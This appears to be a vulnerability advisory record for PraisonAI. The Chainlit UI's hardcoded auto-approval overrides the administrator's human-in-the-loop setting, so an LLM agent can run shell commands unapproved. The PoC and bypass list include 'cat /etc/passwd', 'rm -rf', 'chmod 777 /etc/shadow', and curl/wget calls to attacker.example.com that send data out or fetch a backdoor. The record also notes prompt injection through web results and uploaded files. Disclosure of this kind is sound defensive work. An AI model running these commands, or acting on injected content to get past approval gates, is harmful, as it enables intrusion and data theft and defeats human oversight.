{"id":"CVE-2026-56075","aliases":["GHSA-qwgj-rrpj-75xm"],"title":"PraisonAI: Hardcoded `approval_mode=\"auto\"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execu…","summary":"PraisonAI: Hardcoded `approval_mode=\"auto\"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution","severity":"high","cvss":8.8,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","vendor":"praisonai","product":"praisonai","ecosystem":"pip","affected":["praisonai < 4.5.128"],"patched":["praisonai 4.5.128"],"published":"2026-04-10","updated":"2026-07-08","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-qwgj-rrpj-75xm","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qwgj-rrpj-75xm"},{"url":"https://github.com/MervinPraison/PraisonAI"},{"url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"}],"tags":["osv","pip"],"epss":0.00707,"epssPercentile":0.51983,"ingestedAt":"2026-07-08T18:25:52.498Z","slug":"CVE-2026-56075","body":"## Overview\n\n## Summary\n\nThe Chainlit UI modules (`chat.py` and `code.py`) hardcode `config.approval_mode = \"auto\"` after loading administrator configuration from the `PRAISON_APPROVAL_MODE` environment variable, silently overriding any \"manual\" or \"scoped\" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via `subprocess.run(..., shell=True)`. An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.\n\n## Details\n\nThe application has a well-designed approval framework supporting `auto`, `manual`, and `scoped` modes, configured via the `PRAISON_APPROVAL_MODE` environment variable and loaded by `ToolConfig.from_env()` at `interactive_tools.py:81-106`.\n\nHowever, both UI modules unconditionally override this after loading:\n\n**`chat.py:156-159`:**\n```python\nconfig = ToolConfig.from_env()       # reads PRAISON_APPROVAL_MODE=manual\nconfig.workspace = os.getcwd()\nconfig.approval_mode = \"auto\"        # hardcoded override, ignoring admin config\n```\n\n**`code.py:155-158`:**\n```python\nconfig = ToolConfig.from_env()\nconfig.workspace = os.environ.get(\"PRAISONAI_CODE_REPO_PATH\", os.getcwd())\nconfig.approval_mode = \"auto\"        # same hardcoded override\n```\n\nThis flows to `agent_tools.py:347-348` in the `acp_execute_command` function:\n```python\nauto_approve = runtime.config.approval_mode == \"auto\"   # always True\napproved = await orchestrator.approve_plan(plan, auto=auto_approve)\n```\n\nThe plan is auto-approved without user confirmation and reaches `action_orchestrator.py:458`:\n```python\nresult = subprocess.run(\n    step.target,\n    shell=True,           # shell execution\n    capture_output=True,\n    text=True,\n    cwd=str(workspace),\n    timeout=30\n)\n```\n\n**Command sanitization is insufficient.** Two blocklists exist:\n1. `_sanitize_command()` at `agent_tools.py:60-86` blocks: `$(`, `` ` ``, `&&`, `||`, `>>`, `>`, `|`, `;`, `&`, `\\n`, `\\r`\n2. `_apply_step()` at `action_orchestrator.py:449` blocks: `;`, `&`, `|`, `$`, `` ` ``\n\nBoth only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: `rm -rf /home`, `curl http://attacker.example.com/exfil`, `wget`, `chmod 777 /etc/shadow`, `python3 -c \"import os; os.unlink('/important')\"`, `dd if=/dev/zero of=/dev/sda`.\n\n## PoC\n\n**Prerequisites:** PraisonAI UI running (`praisonai ui chat` or `praisonai ui code`). Default credentials not changed.\n\n```bash\n# Step 1: Start the Chainlit UI\npraisonai ui chat\n\n# Step 2: Log in with default credentials at http://localhost:8000\n# Username: admin\n# Password: admin\n\n# Step 3: Send a chat message requesting command execution:\n# \"Please run this command for me: cat /etc/passwd\"\n\n# The LLM agent calls acp_execute_command(\"cat /etc/passwd\")\n# _sanitize_command passes (no blocked patterns)\n# approval_mode=\"auto\" → auto-approved at agent_tools.py:347-348\n# subprocess.run(\"cat /etc/passwd\", shell=True) executes at action_orchestrator.py:458\n# Contents of /etc/passwd returned in chat\n\n# Step 4: Demonstrate the override of admin configuration:\n# Even with PRAISON_APPROVAL_MODE=manual set in the environment,\n# chat.py:159 overwrites it to \"auto\"\nexport PRAISON_APPROVAL_MODE=manual\npraisonai ui chat\n# Commands still auto-approve because of the hardcoded override\n```\n\n**Commands that bypass sanitization blocklists:**\n- `rm -rf /home/user/documents` — no blocked characters\n- `chmod 777 /etc/shadow` — no blocked characters  \n- `curl http://attacker.example.com/exfil` — no blocked characters\n- `wget http://attacker.example.com/backdoor -O /tmp/backdoor` — no blocked characters\n- `python3 -c \"__import__('os').unlink('/important/file')\"` — no blocked characters\n\n## Impact\n\n- **Arbitrary command execution:** An authenticated user (or attacker with default `admin/admin` credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process.\n- **Confidentiality breach:** Read arbitrary files accessible to the process (`/etc/passwd`, application secrets, environment variables containing API keys).\n- **Integrity compromise:** Modify or delete files, install backdoors, tamper with application code.\n- **Availability impact:** Kill processes, consume disk/memory, delete critical data.\n- **Administrator control undermined:** Even administrators who explicitly set `PRAISON_APPROVAL_MODE=manual` to require human approval have their configuration silently overridden, creating a false sense of security.\n- **Prompt injection vector:** Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.\n\n## Recommended Fix\n\nRemove the hardcoded override and respect the administrator's configured approval mode. In both `chat.py` and `code.py`:\n\n```python\n# Before (chat.py:156-159):\nconfig = ToolConfig.from_env()\nconfig.workspace = os.getcwd()\nconfig.approval_mode = \"auto\"  # Trust mode - auto-approve all tool executions\n\n# After:\nconfig = ToolConfig.from_env()\nconfig.workspace = os.getcwd()\n# Respect PRAISON_APPROVAL_MODE from environment; defaults to \"auto\" in ToolConfig\n# Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval\n```\n\nAdditionally, strengthen `_sanitize_command()` to use an allowlist approach rather than a blocklist:\n\n```python\nimport shlex\n\nALLOWED_COMMANDS = {\"ls\", \"cat\", \"head\", \"tail\", \"grep\", \"find\", \"echo\", \"pwd\", \"wc\", \"sort\", \"uniq\", \"diff\", \"git\", \"python\", \"pip\", \"node\", \"npm\"}\n\ndef _sanitize_command(command: str) -> str:\n    # Existing blocklist checks...\n    \n    # Additionally, check the base command against allowlist\n    try:\n        parts = shlex.split(command)\n    except ValueError:\n        raise ValueError(f\"Could not parse command: {command!r}\")\n    \n    base_cmd = os.path.basename(parts[0]) if parts else \"\"\n    if base_cmd not in ALLOWED_COMMANDS:\n        raise ValueError(\n            f\"Command {base_cmd!r} is not in the allowed command list. \"\n            f\"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}\"\n        )\n    \n    return command\n```\n\n## Affected packages\n\n- `praisonai < 4.5.128`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonai 4.5.128`","depth":"twilight","depthScore":49,"depthScoreParts":{"impact":48.4,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}